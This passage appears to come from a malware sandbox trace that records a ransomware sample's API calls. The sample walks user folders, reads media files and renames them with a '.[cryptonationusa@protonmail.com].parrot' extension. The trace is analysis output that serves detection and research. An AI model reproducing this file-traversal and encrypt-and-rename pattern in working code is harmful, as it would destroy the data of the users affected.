dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.761] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc52a59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc52a59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.762] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebcf2c60, ftCreationTime.dwHighDateTime=0x1d5bfd5, ftLastAccessTime.dwLowDateTime=0x62aa2fa0, ftLastAccessTime.dwHighDateTime=0x1d5b596, ftLastWriteTime.dwLowDateTime=0xc4e2f080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5358, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_sIkzb7.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="07_SIK~1.PAR")) returned 1 [0093.763] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.763] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.763] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.763] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.763] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.764] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.764] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.764] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.764] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.765] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.765] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.765] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0093.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.765] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.766] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.767] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.767] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.767] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.767] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.767] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.767] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61d94a50, ftCreationTime.dwHighDateTime=0x1d5c3a8, ftLastAccessTime.dwLowDateTime=0x630bf360, ftLastAccessTime.dwHighDateTime=0x1d5c3a7, ftLastWriteTime.dwLowDateTime=0x630bf360, ftLastWriteTime.dwHighDateTime=0x1d5c3a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4koIb", cAlternateFileName="")) returned 1 [0093.767] lstrcmpW (lpString1="4koIb", lpString2=".") returned 1 [0093.767] lstrcmpW (lpString1="4koIb", lpString2="..") returned 1 [0093.767] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.767] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.767] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61d94a50, ftCreationTime.dwHighDateTime=0x1d5c3a8, ftLastAccessTime.dwLowDateTime=0x630bf360, ftLastAccessTime.dwHighDateTime=0x1d5c3a7, ftLastWriteTime.dwLowDateTime=0x630bf360, ftLastWriteTime.dwHighDateTime=0x1d5c3a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.768] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e4c5c0, ftCreationTime.dwHighDateTime=0x1d5b782, ftLastAccessTime.dwLowDateTime=0xf3776f30, ftLastAccessTime.dwHighDateTime=0x1d5c1c0, ftLastWriteTime.dwLowDateTime=0xf3776f30, ftLastWriteTime.dwHighDateTime=0x1d5c1c0, nFileSizeHigh=0x0, nFileSizeLow=0x41a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhvbS.mp4", cAlternateFileName="")) returned 1 [0093.769] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.769] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.769] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.770] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x41a7, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x41a7, lpOverlapped=0x0) returned 1 [0093.771] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.771] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\DhvbS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\dhvbs.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\DhvbS.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\dhvbs.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.777] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.777] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.777] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8946b4d0, ftCreationTime.dwHighDateTime=0x1d5bb5e, ftLastAccessTime.dwLowDateTime=0x8be6af20, ftLastAccessTime.dwHighDateTime=0x1d5c224, ftLastWriteTime.dwLowDateTime=0x8be6af20, ftLastWriteTime.dwHighDateTime=0x1d5c224, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.777] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.777] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.777] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f33db0, ftCreationTime.dwHighDateTime=0x1d5be92, ftLastAccessTime.dwLowDateTime=0xbf94f630, ftLastAccessTime.dwHighDateTime=0x1d5c2fe, ftLastWriteTime.dwLowDateTime=0xbf94f630, ftLastWriteTime.dwHighDateTime=0x1d5c2fe, nFileSizeHigh=0x0, nFileSizeLow=0x1667b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4XdaEVanC4oswmlO.avi", cAlternateFileName="4XDAEV~1.AVI")) returned 1 [0093.777] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.777] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.778] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.778] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1667b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1667b, lpOverlapped=0x0) returned 1 [0093.782] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.784] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\4XdaEVanC4oswmlO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\efue9j -\\4xdaevanc4oswmlo.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\4XdaEVanC4oswmlO.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\efue9j -\\4xdaevanc4oswmlo.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.847] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.848] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.848] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.849] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x560a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x560a, lpOverlapped=0x0) returned 1 [0093.869] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.870] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\tWb4R-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\efue9j -\\twb4r-.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\tWb4R-.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\efue9j -\\twb4r-.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\eFuE9J -\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.875] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8946b4d0, ftCreationTime.dwHighDateTime=0x1d5bb5e, ftLastAccessTime.dwLowDateTime=0xc54488e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc54488e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.876] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f33db0, ftCreationTime.dwHighDateTime=0x1d5be92, ftLastAccessTime.dwLowDateTime=0xbf94f630, ftLastAccessTime.dwHighDateTime=0x1d5c2fe, ftLastWriteTime.dwLowDateTime=0xc53640a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x16798, dwReserved0=0x0, dwReserved1=0x0, cFileName="4XdaEVanC4oswmlO.avi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="4XDAEV~1.PAR")) returned 1 [0093.876] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.876] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.877] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.877] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18583, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x18583, lpOverlapped=0x0) returned 1 [0093.881] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.883] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\ErprpqHvlhkWrcIvS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\erprpqhvlhkwrcivs.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\ErprpqHvlhkWrcIvS.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\erprpqhvlhkwrcivs.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.886] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.886] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.887] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.887] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x98d3, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x98d3, lpOverlapped=0x0) returned 1 [0093.890] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.891] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\Lzu21iDO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\lzu21ido.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\Lzu21iDO.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\lzu21ido.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.895] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.895] 